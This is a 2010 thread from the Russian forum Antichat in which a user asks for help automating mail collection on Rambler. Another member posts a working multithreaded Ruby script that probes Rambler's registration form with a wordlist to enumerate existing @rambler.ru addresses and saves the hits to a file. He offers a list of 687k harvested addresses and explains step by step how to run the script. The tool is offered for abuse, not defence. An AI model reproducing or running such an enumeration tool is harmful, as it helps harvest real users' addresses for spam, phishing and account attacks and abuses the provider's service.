Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   Автоматизация процеса (https://forum.antichat.xyz/showthread.php?t=175549)

{BuT@Min} 02.02.2010 09:46

Автоматизация процеса
 
Нужно автоматизировать добавление адресов в сбор почты на рамблере на 1 акк чтобы брал из тхт файлика.
Напишите пример,или ссыль хоть на что нить на подобие.

lukmus 02.02.2010 10:18

Код:

#!/usr/bin/ruby
require 'net/http'
#require 'net/https'

if ARGV.size<4 or ARGV.size>6
  puts "Not enought arguments\n<logfile> <maillistfile> <outfile> <count> [<threads count> <begin no>]"
  puts "default threads count is equal 50"
  exit
end 

$logfile=ARGV[0]
$maillistfile=ARGV[1]
$outputfile=ARGV[2]
$count=ARGV[3].to_i
if ARGV.size>=5 then $max_th_count = ARGV[4].to_i else $max_th_count=50 end
if ARGV.size==6 then $beg_no=ARGV[5].to_i else $beg_no=0 end
begin
  $logf=File.open($logfile,"a")
rescue
  puts "Can't create logfile #{$logfile}"
  exit
end
 
def exist_mail(login)

  begin
    http = Net::HTTP.new('id.rambler.ru', 80)
  rescue => e
    $logf.puts "#{Time.now}: Socket error: #{e}"
  end

  path = '/script/newuser.cgi'

  # GET request -> so the host can set his cookies
  begin
    resp, data = http.get(path, nil)
  rescue => e
    $logf.puts "#{Time.now}: Can't get page: #{e}"
  end
  cookie = resp.response['set-cookie']

  # POST request -> logging in
  data = "back=&step=one&login=#{login}&firstname=fuck&lastname=fuck"
  headers = {
    'Cookie' => cookie,
    'Referer' => 'http://id.rambler.ru/script/newuser.cgi',
    'Content-Type' => 'application/x-www-form-urlencoded'
  }
  begin
    resp, data = http.post(path, data, headers)
  rescue => e
    $logf.puts "#{Time.now}: Can't send form: #{e}"
  end

  return (!(data.include?("captcha")) and data.include?("<input type=\"text\" name=\"firstname\""))
end#def

begin
  $mlf=File.open($maillistfile,"r")
rescue => e
  puts "#{Time.now}: Can't read #{$maillistfile}: #{e}"
  $logf.puts "#{Time.now}: Can't read #{$maillistfile}: #{e}"
  exit
end

$th_cnt=0
kk=0
while kk<$beg_no do
        $mlf.gets
        kk+=1
end


$num=0
while $num<$count do
          while $th_cnt>=$max_th_count do sleep(3) end
          $th_cnt+=1
        sleep(0.1)
        th=Thread.new do
                    str=$mlf.gets
                    $num+=1
                    if str!=nil
                        if exist_mail(str.chop!)
                              puts "#{$num}) #{Time.now}  #{str}@rambler.ru ========== EXIST ==========="
                              File.open($outputfile,"a"){|sfile| sfile.puts "#{str}@rambler.ru"} 
                        else
                              puts "#{$num}) #{Time.now}  #{str}@rambler.ru FAIL"
                        end
                    end
                    $th_cnt-=1
          end
 
end
$mlf.close
$logf.close

вот код на руби писал пару месяцев назад, сейчас не проверял.
если хочешь могу и сами результаты выложить там их 687к под рамблер

{BuT@Min} 02.02.2010 10:39

Спасибо.Знать бы как всё это добро запустить,мои познания заканчиваются на лёгком знание php.Если не сложно стукни в асю 177шесть31


А есть какие либо решения на пхп?

lukmus 02.02.2010 14:25

Цитата:

Сообщение от {BuT@Min}
Спасибо.Знать бы как всё это добро запустить,мои познания заканчиваются на лёгком знание php.Если не сложно стукни в асю 177шесть31


А есть какие либо решения на пхп?

стучал в асю, но тебя там не было.
прога писалась и тестировалась только под линуксом, но по идее т.к. руби кроссплатформенен должна работать и под виндой.
вот тут статья как установить руби http://habrahabr.ru/blogs/ruby/30786/, Qt тебе устанавливать не надо.
Аргументы у скрипта следующие <logfile> <maillistfile> <outfile> <count> [<threads count> <begin no>], где
logfile - файл лога,
maillistfile - файл с твоими словами, без @ и rambler.ru
outfile - файл куда пишуться все удачные мыла
count - количество слов которые беруться из словаря
threads count - количество потоков (не обязательный параметр, по умолчанию 50 потоков)
begin no - номер строки с которой начинать в словаре (не обязательный параметр)

Примечание: если задан параметр <begin no> то ему обязательно должен предшевствовать <threads count>.

Какие косяки могут возникнуть с переходом на винду:
-считка строки из файла словаря maillistfile. Причина в том, что в nix'ах перевод строки обозначаеться как \n, а в винде как \r\n, поэтому скрипт может не понять где какая строка, а может и понять. Решить это можно установив какой-нить, не попсовый текстовый редактор, где автозаменой заменить все \r на пустое место, после чего блокнот не будет показывать новых строк в файле а будет отображать прямоугольник (\n).


Время: 08:19